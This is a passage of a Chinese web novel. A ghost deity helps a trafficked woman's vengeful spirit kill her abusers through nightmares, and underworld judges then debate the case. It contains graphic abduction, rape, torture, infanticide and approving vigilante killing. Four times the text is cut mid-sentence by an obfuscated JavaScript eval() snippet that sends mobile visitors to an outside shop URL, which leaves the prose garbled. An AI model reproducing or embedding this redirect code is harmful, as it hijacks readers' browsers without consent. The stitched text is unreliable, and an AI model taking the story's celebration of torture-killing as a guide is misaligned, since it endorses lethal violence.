林正文落在棚子外,正要冲进去,土地婆从地底冒出来,一把拉住她。 “游神,别冲动。”土地婆小声说,“她命数到了,你救不了。” “我……”林正文张了张嘴,话卡在喉咙里。可让她眼看着人死,比杀了她还难受。 棚子里的女人似乎感觉到了什么,眼珠极其缓慢地转动,看向棚外。她的视线穿过木板缝隙,落在林正文半透明的身子上。 “……鬼?”女人的声音细得像蚊子叫。 林正文穿过木板,蹲在她身边:“我是游神。你……你叫什么名字?” 女人看着她,枯槁的脸上居然露出一丝笑:“燕子……我叫燕子。” “燕子,你撑住,我——”林正文甩开土地婆,冲过去扑在她面前,想伸手撑住她的身体,却怕自己成了压倒骆驼的最后一根稻草,左右为难。 “不用了。”燕子打断她,声音很轻,却很坚决,“我……我等这一天,等了三年了。” 她眼睛望向棚顶破洞外的一小片夜空,月光漏进来,照在她脸上。刚才灰暗的瞳孔突然有了光,就连精神头也好了不少。 林正文却没有任何喜意,因为燕子身上的死气更浓了。 “我是被人卖到这儿的。”燕子说,语气平静得像在讲别人的故事,“二十二岁,大学毕业刚一年,在火车站被人用迷药捂了嘴。醒来就在这山里,锁在柴房。” “这家的男人四十多了,又老又丑,第一晚他就……”燕子顿了顿,“我不从,他就打我。用皮带抽,用烟头烫。他妈在旁边看着,说‘打,打服了就好了’。” 林正文拳头攥紧了。 “我想跑。”燕子继续说,“跑过三次。” “第一次跑到山口,被村里人抓回来,打断了一条腿;第二次我本来都要走了,听说村里另一户‘娶媳妇’,我想带她一起走,结果又被抓了;第三次……” 她笑了,笑声嘶哑:“后来,我就怀孕了。他们看得更严了。” “他们把我关在猪圈里,吓唬我,不老实呆着,就让猪把我啃的骨头渣子都不剩。他们能做的出来,几年前就有一户的女人……被活生生的……” 土地婆别过脸,不忍听。 “从那天起,我就知道,我逃不掉了,想解脱,唯有死。” 燕子看着林正文:“可他们看得紧,第一胎是个女孩,直接被溺死了。之后他们日夜逼我生孩子,那男人和他爹一起……我就连死也做不到……” “只能等,等身体垮掉,等油尽灯枯……今天,终于等到了。” 她伸出皮包骨的手指,想碰碰林正文,手却穿了过去。 “成了鬼,我就能报仇了。”燕子眼里燃起最后一点光,“我要杀了他们,一个一个杀……” “不行!”土地婆急忙插话,“燕子姑娘,你听我说。” “人死后,就算成了厉鬼,无常也会第一时间把你押回地府。你什么都做不了!” “我不怕。”燕子摇头,“只要能报仇,魂飞魄散我都认。” 林正文再也忍不了了,猛地站起来:“我去杀他们!我现在就去!” “你怎么也脑子不清楚了!”土地婆死死拽住她,“你是游神!杀活人是什么罪你知道吗?!” 林正文眼睛红了:“那些人渣!畜生!他们——” 话没说完,棚子里传来一声极轻的叹息。 像是什么东西,终于断了。 林正文颤抖着转头看去,发现燕子闭上眼睛,胸口最后一点起伏也停了。 下一秒,一个半透明的魂魄从身体里飘出来——灰扑扑的,只是个普通的怨鬼。 但转眼间,灰色开始变深,泛起血色。怨气像火焰一样从她魂体里升腾起来,眼睛瞬间变得血红。 “吼——!” 燕子仰头发出一声非人的嘶吼,长发无风自动,指甲暴涨成利爪。怨气还在涨,丙等怨鬼、乙等怨鬼……最后一跃成为厉鬼! “坏了!”土地婆脸色大变,“再继续下去,我们也压不了她!” 话音未落,燕子已经冲出棚子,朝着主屋扑去。屋里传来男人的鼾声,还有老人的梦呓。 土地婆一咬牙,手中拐杖往地上一顿:“地缚!” 地面伸出无数土黄色的根蔓,在主屋门前缠向燕子的脚踝。燕子厉啸一声,怨气爆发,根蔓寸寸断裂。 “丫头!帮忙!”土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118204|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地婆喊。 林正文没动。 她看着燕子的背影,看着主屋那扇破木门,脑中闪过中元节从城隍镜中传来的话——【别让那群女鬼冲进民宅!】 那些等了十几年的女人。 那些每年中元节想冲出来报仇,却被一次次压回去的冤魂。 “土地婆婆。”林正文忽然开口,声音很平静,“如果事事都按规矩,那活着,或者死了……还有什么意思?” 土地婆一愣。 “您在这片做了多久的土地?见过多少不平事?”林正文转头看她,“每次都告诉自己‘职责所在’‘规矩如此’,然后眼睁睁看着?” “我……”土地婆语塞。 “我才死了几个月。”林正文咧嘴笑了,笑容里有种息不灭的光,“我不想变成那样。” 她转身,飘到燕子面前。 燕子正疯狂往前抓挠,一次次破坏土地婆的阻拦,又一次次被挡在一步之遥的门外。 “燕子。”林正文叫她。 燕子回头,血红的眼睛盯着她。 “想报仇吗?”林正文问。 “想!做梦都想!” “好,我帮你。” “游神你……哎!”土地婆走过来,表情复杂:“丫头,你到底想干什么?” 林正文没回答,她看向燕子:“信我吗?” 燕子盯着她看了很久,眼中的血色慢慢褪去一些:“……我不知道。” “想报仇,你只能信我。”林正文伸手拉住燕子的手腕,另一只手拉住土地婆,“来不及了,我们先换个地方。” “去哪?”土地婆问。 “梦里。” 话音落下,林正文魂体爆发出一阵幽光。光裹住三人,下一瞬,他们从原地消失。 主屋的门“吱呀”一声开了。 男人提着裤腰走出来,睡眼惺忪地准备去撒尿,回来正经过猪圈想去爽一把,就发现里面的人不动了。 “死了?”他皱眉,啐了一口,“真他妈晦气!明天就给猪加餐。” 他转身回屋,砰地关上门。 几分钟后,范七的身影来到上空。 他疑惑的看着下方,满脸费解:“难道是感觉错了?还是被别的无常勾走了?” 随后摇头离去。 他也没多想,一个片区至少两名无常,新出现的灵魂被别的无常勾走也有可能。 直到范七离开,林正文三人突然又出现在破屋门前,险而又险,差点被他发现。 她心中暗恼:实力还是不够…… 就在刚才三个灵魂的重量,压得她差点从梦境中弹出来。还是土地婆察觉无常就在附近,出手相助,这才没有出师未捷身先死。 就算如此,也让林正文落地的瞬间腿软了一下,被燕子扶着才能站直。 土地婆眼中划过后悔:“刚才三个灵魂的重量差点把你从梦境里挤出来……要不还是算了,老身这就带燕子去地府报道,你只当……” 退堂鼓的话还未说完,就见面前的少女游神身上突然爆发出一阵超强鬼气,周身气场竟然以惊人的速度直逼自己,甚至不等她深究,又飞速步入高等鬼差行列。 “这,这……这就是十世善人!”土地婆震惊地瞪大眼睛,最后只能归结于唯一的可能。 25. 第 25 章 林正文站稳身形,深吸一口气,眼前凭空浮现出一面半透明的光屏。外人只能看到,少女游神手指在虚空中快速点划,如同在操作某种无形的界面。 【当前香火值:6872】 【当前功德值:10】 【消耗4000香火值,兑换蕴气丹×4。】 四颗丹药直接落入林正文口中,化作热流涌向全身。 没有惊天动地的声势。但土地婆分明感觉到,面前这个少女身上的鬼气开始以惊人的速度攀升——就像原本平静的水面下突然涌起暗流,转瞬间已成滔天巨浪。 43、50、60、70…… 数字在林正文意识中跳动,那股熟悉的胀痛感再次袭来,但这一次,她咬紧牙关硬扛着。 脑子里只有一个念头:范七是个老手,燕子新死成厉鬼,只要从梦里重新回到阳间,这么浓的怨气根本瞒不住。他很快就会掉头回来,说不定下一刻就能出现在她们面前。 必须在范七赶到前,拥有足以应对他的实力。 ……80、81、82、83! 【当前鬼气值:83】 林正文睁开眼,周身鬼气内敛,却给土地婆带来一种无形的压迫感。 土地婆瞪大眼睛,手中的拐杖微微颤抖:“这……这才几个呼吸的时间……你、你竟已步入高等鬼差之列?” 她活了百年,见过太多鬼修。地府那些无常、判官,哪个不是靠着百年千年的积累才一步步提升实力?可眼前这丫头…… “这就是十世善人?”土地婆喃喃自语,原本动摇的心思在这一刻彻底定了。 她看着林正文,眼神从最初的担忧、犹豫,渐渐变为一种近乎狂热的光芒。百做了百年土地,她太清楚实力在地府意味着什么了。 跟着这样的存在,哪怕只是沾点光,未来的前途也远非自己苦修可比。 “游神大人。”土地婆忽然躬身,语气恭敬,“老身愿追随您,赴汤蹈火。” 称呼变了。从轻描淡写的“游神”,到带着长辈口吻的“丫头”,再到此刻心悦诚服的“游神大人”。 林正文没时间细品这变化。她抬头望向夜空东侧——那里,一股熟悉的气息正极速逼近。 “来了。”她低声道。 话音刚落,一道黑影破空而至。 范七悬停在半空,黑无常的行头在夜风中纹丝不动。 他目光扫过破屋前的三人:林正文、土地婆,以及那个周身怨气翻腾的新生厉鬼。 只一眼,他就明白了。 “土地婆。”范七声音冰冷,语气难掩失望,“你竟也老糊涂到跟着这家伙胡闹?她有十世善人的名头,判官都轻易不敢动她,你有什么?” 他原本确实离开了,但飞出不远就察觉到不对劲。 果然撞个正着。 土地婆拄着拐杖上前一步,挡在林正文身前,脸上习惯性的打圆场:“范大人,此事另有隐情。这女子死得冤枉,游神大人只是……” “只是什么?”范七打断她,目光锐利,语气冷嘲,“私自滞留亡魂于阳间,林游神有恃无恐——土地婆,你该知道这是什么罪!” 他顿了顿,看向林正文:“林游神,若是再在辖区胡闹,别怪我不客气!” “你要拿我怎样?”林正文往前走了一步,与土地婆并肩而立。 范七看着她,眉头微皱。不知是不是错觉,他觉得这丫头身上的气息……比几天前浑厚了不少。但转念一想,才几天时间,能有多大变化? “那我只能呼叫本地无常,将你一并押回地府论罪。”范七手腕一抖,勾魂锁滑入掌心,“林游神,莫要自误。” 土地婆脸色一变,压低声音急道:“游神大人,不能让他传消息出去!” 一旦事情闹大,地府彻查,别说清理拐子村,就连她们三个都自身难保。 林正文比土地婆更清楚这一点。 她没再废话。 黑影一闪。 范七只觉得眼前一花,林正文已出现在他面前——速度比上次交手快了不止一倍!他本能地甩出勾魂锁,锁链如毒蛇般缠向林正文脖颈。 “太慢。” 林正文轻声吐出两个字,右手探出,竟直接抓住了锁链中段! 范七瞳孔骤缩。怎么可能?勾魂锁专克魂体,寻常鬼差碰都不敢碰,她居然敢徒手抓? 更让他震惊的还在后面——林正文手腕一抖,一股磅礴鬼气顺着锁链反震而来! “砰!” 范七虎口剧震,用尽全部力气也无法抓住,只能任凭勾魂锁脱手。他连退三步才稳住身形,抬头看向林正文,眼中满是难以置信:“你……” 几天前,这丫头还被他用锁链吊着打。 如今,反倒是他一照面就被缴了械,失去了鬼差赖以生存的法器? “范七,”林正文眉峰一挑,把对方的勾魂锁甩着玩,“上次你教我,在地府,光有鬼气不够,还得知道怎么用。” 她咧嘴一笑:“我学的不赖吧。” 话音未落,她再次出手。 这次不再是试探。黑色的鬼气在她周身凝聚,化作数十道细密锁链。锁链从四面八方缠向范七,封死了他所有退路。 若有看过中元节直播的人,定能认出,这正是李正文阻止鬼兵封杀厉鬼李昭仪时用过的那一手。 范七脸色大变,手中没了武器,犹如断了一臂。他手忙脚乱的左支右拙,却有更多的锁链缠上他的手脚、腰身,越收越紧。 “你什么时候……”他挣扎着,声音里终于有了惊怒。 “你猜。”林正文咧嘴一笑。 她走到范七面前,看着这个曾经压着自己打的黑无常。实力的差距在这一刻体现得淋漓尽致——83点鬼气对45点,几乎是碾压。 “范大人,对不住了。”林正文伸手按在范七肩上,“有些事,不能让你报上去。” 鬼气爆发。 范七只觉得眼前景象天旋地转,再定睛时,已置身于一间破败的土屋中。 梦境。 范七立刻反应过来——这丫头竟把他拉进了别人的梦境!而且看这梦境结构稳固、细节清晰,远非新手能做到。 他看向林正文,又看看跟进来的土地婆和厉鬼燕子,脸色阴沉:“你们到底想干什么?” 林正文声音冰冷:“杀人。” “这拐子村里,趴在女人身上吸过血的人,我要——一个不留!” 范七呼吸一滞:“你说什么?” 林正文没理他,转头对土地婆道:“婆婆,你现在退出还好来得及,事后就算范七胡说,我也会把所有的罪责都揽在自己身上,你什么都没有做过。” 土地婆虽然早有预料,却没想到林正文竟然真的这么有胆,要血洗拐子村! 这家伙生前不是警察的孩子吗? 但土地婆此时已经完全站在林正文这边,自然不会随便退出。 她捋了捋思绪,眼睛一点点眯起:“游神大人,既然你决心捣毁这拐子村……那我到有一个注意。” 范七心头一紧:“土地婆,你疯了?!” 土地婆瞥了他一眼,继续对林正文说:“地府审判亡魂有固定流程——新魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122518|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入殿,判官先查其一生罪孽,该下地狱的下地狱。等孽债清算完了,才会倒查死因。” 她顿了顿,意味深长地看了一眼范七:“只要让这些人死得‘自然’,死后魂魄受损、记忆混乱,根本想不到喊冤……等到了判官殿,他们满身罪孽摆在面前,判官一看,直接打入地狱,就算要细查死因,也是百十年后的事了。” 以林正文提升的速度,到那时,说不定早已成为鬼将,真正与功曹判官平起平坐。 范七听得头皮发麻:“土地婆!你不仅不阻止游神滥杀!还助纣为虐!” “滥杀?”土地婆冷笑,“范大人,这村子里的人哪个不该死?拐卖妇女、囚禁虐待、毁尸灭迹……这些事,随便拉出来一项,也该在十八层地狱服刑百年,下辈子打入畜生道!” “现在只不过是提前而已!还能帮他们少几分罪孽!” 范七见她越说越理直气壮,难以置信地看着她,仿佛第一次认识这个往日不歘尖争功的老太婆。 “既然阳间的法管不了,地府的规矩又不能管,”土地婆声音渐冷,“那游神大人自己来管,有何不可?” “从长远来讲,止恶就是扬善,这才是十世善人应该做的事!” 她转向林正文,语气恭敬却坚定:“游神大人,老身倒是有个法子——让他们在梦里经历最恐惧的事,活活吓死。死后魂魄受损,记忆混乱,根本不知道自己是怎么死的。” 林正文眼睛一亮。 她原本的想法是模仿厉鬼乱魂的方式,篡改拐子村的记忆。就像吴暮雨曾经对王浩三人做的那样,之后再快刀斩乱麻的灭杀他们。 土地婆不愧地府百年老公务员了,只要放开,一肚子的鬼主意。 让他们在梦境中痛苦死去,确实一箭双雕。 土地婆打定主意和林正文站在一起,毫无保留道:“老身的实力一次可对三人施展此法,之后需调养一周,我也可以把这法教给游神大人,以游神大人的实力,一次对付五人,应该没问题。” 燕子急着指着自己:“还有我!” 土地婆欣慰地看了她一眼,转头望向林正文,等她拿主意。 “梦魇……”林正文心念一转,她总觉得好像曾经见过相关的东西。 她连忙调出系统商城,向上翻了好几页,终于找到价值1功德一张的【梦魇符】,一口气兑换了二十张。 “不用那么费劲了,我这有一劳永逸的方法。” “不愧是游神大人!”土地婆恭维一句后,继续道:“至于范大人……他既然已经撞破了,就不能放回去。但也不必杀他——游神大人可以将他暂时困在梦境深处,等事情办完,再放他出来。” “到时候木已成舟,他就算想告发,到时候恐怕也会被治一个渎职之罪。” 范七脸色铁青:“你们……” 话没说完,林正文已走到他面前,手中一张符纸拍在他额头上。 “范大人,委屈你先睡会儿。” 符纸化作黑光没入。范七只觉得意识迅速模糊,整个人沉入林正文为他编织的梦境。 在彻底失去意识前,他最后听到的是林正文的声音:“婆婆,燕子,开始吧。一家一家来。” 接下来的一个时辰里,林正文三人穿梭在村中各户的梦境中。 有了83点鬼气的支撑,林正文这次轻松多了。她不仅能同时承载土地婆和燕子,还能精准控制梦境结构,让每一个梦魇幻象都直击要害。 燕子了解每家每户曾经犯过的罪孽,正好配合她们编织“美梦”。 第一个被收拾的就是害死燕子的一家。 26. 第 26 章 当符纸没入男人眉心时,梦境剧烈震动了一下。 炕上的男人突然开始抽搐,喉咙里发出“嗬嗬”的怪响。 他梦见自己回到了十几年前的那个冬天——那时他才二十五岁,跟着村里几个“老手”去外地“找媳妇”。 他们在长途汽车站盯上一个独行的女学生,用浸了迷药的手帕从后面捂住她的口鼻。女孩挣扎了几下就软倒了,被他们塞进拖拉机车兜里。 这本来是他第一次“干大事”,又兴奋又害怕,心里馋那姑娘的身子。 等不及回家“办婚礼”,就央求同行的人把车停到驶出城区的路上。 可当他拉开麻袋的时候,惊讶的发现——女孩醒了。 她早就自己解开了手上的绳子,正一点点扣着麻袋缝隙。 如果他没发现,恐怕用不了多久,她就能从缝隙中伸出手去,自己解开麻袋逃出去了。 “妈的,还挺烈。”一个老手揪住女孩头发,把她拖出来摔在地上。 男人记得,当时女孩抬起头,满脸是血,眼睛却亮得吓人。她盯着他们每一个人,一字一顿地说:“我记住你们了。做鬼也不会放过你们。” 老手被激怒了,一脚踹在女孩肚子上。女孩蜷缩着,嘴巴里全是血,也还睚眦欲裂地瞪着他们。 他们都有经验,这种不安分的人,就算带回去也是个麻烦。 随后,他们四五个男人把女孩拖到路边的草稞子……直到女孩再也没有了呼吸。 这些年来,男人偶尔会梦见那双眼睛。但他从不觉得愧疚——山里女人命贱,死了就死了,谁让她不听话? 可是这次的梦不一样。 男人刚拉开麻袋口,等待他的不是惊恐的女孩,而是青面獠牙的恶鬼! 刚窜了出来,就张着血盆大口,一下咬住他的手臂! “啊——!!!我的手!我的手!” 接着在男人的惊恐中,他的另一条手臂也被迫离开了身体,接着是左腿、右腿……每一下疼痛,不只是躯体,都像是灵魂都被撕碎了一般。 梦境之外,林正文冷眼看着,旁边的一对老不死,也在遭受着另一个噩梦。 土地婆叹了口气:“造孽啊……这些人,死一百次都不够。” 燕子却笑了。笑容很淡,但眼睛里终于有了点光。 “继续。”林正文说,走向下一户。 第二户是个光棍汉,五十多岁,家里穷得叮当响,一直没娶上媳妇。 但他“解决需求”的方式更恶心——专门盯着村里被拐来的、已经精神失常的女人下手。 林正文把梦魇符拍进他眉心时,这人正做着猥琐的梦。 下一秒,梦境反转。 他发现自己被铁链锁在地窖里,四周漆黑,只有头顶一个小洞透进微光。洞口出现一张女人的脸——是他去年折磨死的那个疯女人。 为此他还赔了那户人家不少钱。 女人的脸腐烂了一半,蛆虫在眼眶里蠕动。她咧开嘴,露出黑黄的牙齿:“你来陪我吧……下面好冷……” “滚开!滚开!”光棍汉惨叫这要往后退。 铁链哗啦作响,他低头,发现自己脚踝上锁着一条锈迹斑斑的镣铐。镣铐另一端连着一具白骨——正是那女人的骸骨。 “永远在一起……”女人的声音在地窖里回荡。 光棍汉崩溃了,用头撞墙,想把自己撞醒。可梦境如此真实,疼痛、恐惧、绝望……每一样都撕扯着他的神经。 直到他的每一条肉丝,都被女人的骨爪一点点撕扯下来。 …… 第三户是一对老夫妇。 他们没直接参与拐卖,但儿子拐来的媳妇,是他们帮忙看着的。为了传宗接代,即便那女人每日哭着哀求,他们也充耳不闻。 媳妇第一次逃跑,就是被他们抓回来的。 老太太扯着她的头发往后拽:“不行!你不能走!就算是生到死,也必须给我家生个孙子!” 此时,在他们的噩梦里,无数个被溺死的女婴,爬满二人全身…… 整个拐子村在夜色中接二连三地响起绝望的呜咽。 可每到一户有被囚禁女人的房子,林正文会多停留一会儿。 她走到那些蜷缩在角落、眼神呆滞的女人身边,兑换一张相反作用的符纸,送她们每人一场美梦—— 梦见锁住她们的牢门被打开,梦见警察进来,梦见自己躺在干净的病床上,梦见父母哭着抱住自己说“回家了”…… 林正文不希望她们像燕子那样,在绝望中死去,即便是在梦里,也想让她们知道:就算现实很苦,可,万一呢? 撑下去,未来会更好。 最后一户处理完时,天边已泛起鱼肚白。 林正文看着自己系统余额上空空如也的功德余额,就连一直留的10点都用出去了。 但她却不后悔,觉得值! 站在夜空中,林正文回头看着下方每个屋子里都袅袅升起几缕死气,从变成鬼后一直堵在心里的那口气总算是疏解了。 与此同时,她83点的鬼气值,悄然往上跳了几点,最后停在88点。 土地婆拄着拐杖,脸色疲惫但眼神明亮:“游神大人,老身这就去联系附近的无常,让他们来勾魂——按正常死亡流程走。” 至于村里的那些女人……三人经过的时候,就悄悄解开了束缚她们的锁铐。 等太阳彻底升起,她们就会发现——自由了。 林正文点头,又看向燕子:“燕子,恩怨已了,你也跟着其他鬼魂一起去吧,藏在里面,不引人注意。” 燕子用力点头,对着两人深深鞠躬,尤其是林正文。 …… 负责附近这片一共有两个无常,一是范七,二是白十一。 相比范七,白十一就乖觉的多,见拐子村里出现这么多新魂,他也没有多问。 但是藏在远处的林正文却留意到,他的视线在意外老实厉鬼燕子身上停留许久。 接着,白十一的勾魂锁延伸数丈,学着林正文“鬼火游神”的样子,一副“大王派我来巡山”的架势,牵着所有亡魂浩浩荡荡地去了地府。 等拐子村彻底安静下来后,林正文走到村头的槐树下。 她看着晨光中渐渐清晰的破败村庄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128680|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又低头看了看自己的手。 一夜之间,她从被范七压着打的新手游神,变成了能碾压老牌无常的高等鬼差。 这力量来得太快,快得让她有些恍惚。 原本她是想一点点适应着提升,不招摇,还能在关键时刻当个底牌。 但当她想起,燕子和村里数名被囚禁,只能求死解脱的女人时,她又觉得——上苍赐予她直播系统,或许就是为了这一刻。 按照土地婆计划,她们的秘密至少还能隐藏一段时间,但林正文可没忘记,十位功曹判官都等着抓她小辫子。 恐怕不会那么顺利,如愿逃脱。 就在这时,东方,太阳轻快地跳出地平线。 金色的光洒在山坳里,也照在林正文半透明的魂体上。她最后看了一眼这个即将迎来终结的罪恶村庄,双唇紧抿,转身朝城市飞去。 她不认为自己错,就算地府要来捉拿,她也敢背水一战。 只是在那之前,她要最后看看家人。 此时林正文却不知道,事情并不像她想的那么糟糕。冲动之下的善意,此时也正被人竭尽所能的回报。 地府 不等白十一将拐子村的几十个老少亡魂牵到判官殿受审,就被闻讯而来的一群女鬼拦在路上。 燕子一看熟悉的人,眼睛一亮,大呼一声:“姐姐们!快来!” 一位生前怀了十多胎,最后难产而死的女鬼带头冲来。 有因果的亡魂下了地府,她们多少能有所感应,这才从枉死城奋力冲了出来。 刚冲到近前,她们就敏锐察觉到不对——触目所及,几乎整个拐子村害过人的家伙都在这? 是地震?还是泥石流? 除了自然灾害,她想不到有什么其他可可能。 带头大姐目光锁定亡魂中某个老年鬼魂,发现他们好像不太对劲,见到自己也像不认识一样,傻呆呆的。 她靠近燕子,小声问道:“怎么回事?是你杀了他们?” 她表情怪异地看向白十一,眼神中带着复杂的情绪,有遗憾、有怜悯、还有几分感激。 “不是他放水!”燕子急得直跺脚,压低声音,“是另一位仙长出手弄死了他们,咱们得想想办法,不能让他们去判官殿乱说,就算百十年后威胁到恩人也不行!” 带头大姐已经在枉死城呆了四十多年,早就对地府的规则如数家珍,此时一听就明白了。 她视线一直没离开当初害死她的人,嘴角缓缓勾起一抹狞笑。 “这好办……”说完,鬼啸一声,打头冲向那个傻呆呆老年鬼:“还我命来——!!!” 其他“姐妹帮”的女鬼,也纷纷露出鬼相,扑了上去。 三十七个一脸茫然的新鬼连躲都不会,眨眼功夫就被上百个厉鬼给埋了。 她们争先恐后地撕扯拐子村的鬼魂,生怕少吃一口。 等白十一找来鬼门关的鬼将,现场哪还有什么拐子村的新鬼,只有百来个心满意足的女鬼站在空地上没有离开。 劈山鬼没有贸然上前拿下女鬼,而是沉声一叹:“冤有头债有主,他们能有此一劫,也算因果有报。” 27. 第 27 章 劈山鬼押着上百名亡魂走进判官殿时,殿内早已不是平日的肃静。 十位官员高坐案台之后,目光都聚焦在那群女鬼身上。 “劈山将军。”崔判缓缓开口,声音在大殿中回荡,“本官接到奏报,称有数十新魂待审。如今……魂在何处?” 劈山鬼抱拳,神情淡然如常:“回崔判,下官赶到时,只见到这些枉死城逃逸的厉鬼。至于新魂——只有一女鬼还在。” 他侧身,让出身后空地:“其余已被她们分食殆尽,魂飞魄散了。” 殿内陷入短暂死寂。 “分食……殆尽?”陆判手中的笔“啪”地掉在案上。 “是。”劈山鬼抬头,目光扫过十位官员,“下官亲眼所见。这些厉鬼怨气深重,见到仇人便一拥而上,不过片刻便将数十新魂撕碎吞噬。下官出手阻拦时,已来不及。” 他说得平静,但每一个字都让功曹判官们脸色更差。 崔判的脸色以肉眼可见的速度阴沉下去。他旁边的几位功曹互相对视一眼,都能看到彼此眼中的惊愕和……难以置信。 其实,他们早就知道了。 通过地府水镜的观测,他们看到了拐子村一夜之间变成了鬼村。 那些作恶多端的人,在睡梦中惊恐而死,死状凄惨。而林正文、土地婆、还有那个新生厉鬼燕子,就是罪魁祸首。 这是个绝佳的把柄。 私自滞留亡魂、滥杀活人——哪怕杀的是恶人。数罪叠加,足以将林正文这个“十世善人”打入地狱,永绝后患。 为此,他们甚至想调整审判流程:只要拐子村的亡魂一到,立刻开审,直接当堂询问死因。 林正文再能言善辩,也抵不过数十个苦主的指证。 可现在……苦主没了。 魂飞魄散,意味着生死簿上关于这些人的记录会自动消除,就像从未存在过。 想追查死因?指控林正文? 没了亡魂的口供,没了因果线的指向,一切指控都成了无根浮萍。 “好……好一个魂飞魄散!”天曹猛地拍案,眼睛瞪得溜圆,气得胡子都炸开了,“劈山将军!你身为鬼门关守将,竟眼睁睁看着数十亡魂被吞噬,不加以阻止!就算只剩残魂也行啊!” 就算只剩指甲盖那么一点,也能在生死簿、轮回镜中显示出因果! 劈山鬼抬眼看他,眼神平静无波:“天曹大人,下官赶到时,吞噬已近尾声。恐强行压制,会导致她们百人化煞,下官权衡之下,只能优先控制局面。” 他顿了顿,补充道:“况且,这些女鬼吞噬的,本就是害她们惨死、囚禁她们多年的仇人。若论因果,这也算……冤有头债有主。” 最后几个字说得意味深长。 大殿再次安静。 魏判坐在判官席第二位,一直垂眸看着案上的卷宗。此刻他缓缓抬起头,目光扫过那些被锁链捆缚、却依然昂首挺胸的女鬼们。 他认得她们。 准确说,是听说过她们的故事。 这些女鬼,有的死了四十年,有的死了二十年,最新的那个燕子才死了几个时辰。 她们每年中元节都要闹一场,每次都被镇压回去。就算被打入十八层地狱受刑,出来后,下一年还要继续作乱。 地府不是不管,是管不了——或者说,不想管。 每个人一生的终点都是地府,他们早已习惯了。等人死后在论功过就行了,为什么非要这么急? 这是千百年的规矩,也是地府维持“超然”地位的方式。 可现在,有人打破了这规矩。 林正文。 魏判闭上眼,脑海里浮现出那个少女游神的身影——吊儿郎当,没个正形,可眼睛里总有压不灭的光。 上次在殿上,她指着他们十个人说“地府制度有问题”“地府的存在逐渐失去意义”。 当时他觉得这丫头太狂,可又不得不承认,她说中了一些他们不愿面对的事。 而这次…… “还是太年轻。”魏判在心里轻叹。 冲动、鲁莽、不计后果。 为了一个将死的女人,就敢血洗整个村子,还留下这么大把柄。 要不是这群厉鬼误打误撞吞了亡魂,她现在已经被押上殿了。 可另一个声音又在心里响起:这么多巧合……难道真的是气数未尽? “魏判。”崔判的声音打断他的思绪,“你掌管纠冤案,此事……你怎么看?” 魏判睁开眼,迎上崔判锐利的目光。他能感觉到,其他几位官员也在看他——尤其是那些之前态度有所松动的。 他知道崔判在问什么。不是问女鬼吞魂的事,是问林正文的事。 魏判缓缓开口:“因果线已断。若无实证,仅凭推测,恐难以服众。” 这话说得四平八稳,却让崔判眉头皱得更紧。 “魏判的意思是……就此作罢?” “下官只负责纠冤案,阴间律法之事,需问陆判。”魏判垂下眼。 崔判沉着脸,剑指陆判:“你怎么看?” 陆判瞪了一眼魏判,没想到火烧在自己身上了。 实际上他比崔判更气闷。之前他用阴律严明,不可轻易修改,打消林正文的狂妄臆想,没想到此时千年未变的阴律竟然要成了林正文的护身符。 陆判阴沉着脸:“地府律法,重证据,轻臆断。既无亡魂指证,又无因果佐证……不足以定罪。” 最后几个字,几乎是咬着牙根说出来的。 没想到这时一直沉默不语的钟判突然开口:“那些恶魂本就要下十八层地狱,如今能化解百位女鬼的怨念,也算废物利用了。” 钟判管罚恶,反对林正文插足地府管理层没错,但也不影响他支持百位女鬼亲自复仇。甚至以往审判中,遇到这种极恶之人,他也会找受害者旁观,以此化解怨念,就连亲自行刑也不少见。 四位判官中两个都叛变了,还有一个说不出问罪的话,现在执掌生死簿的崔判孤掌难鸣。 以至于他的脸色沉得像浸了墨汁一样。下一刻,更让他呕血的事发生了。 人曹捋着胡须沉思片刻开口:“……林正文毕竟是十世善人,有天道眷顾。若强行加罪,恐惹天道不满。” 最后这句话,让几位官员都变了脸色。 天道眷顾、十世善人。 这两个词加在一起,意味着林正文哪怕犯了错,也极有可能逢凶化吉——就像这次。 天曹冷哼一声:“天道眷顾?她滥杀阳间之人,已是逆天而行!何来眷顾之说?” “可杀的是该杀之人。”魏判平静道,“若论罪孽,拐子村那些人,哪一个不该下十八层地狱?林正文不过是提前送了他们一程。” “你这是强词夺理!” “下官只是就事论事。” 两人对视,气氛骤然紧张。 就在这时,一直沉默的鬼曹忽然开口:“崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 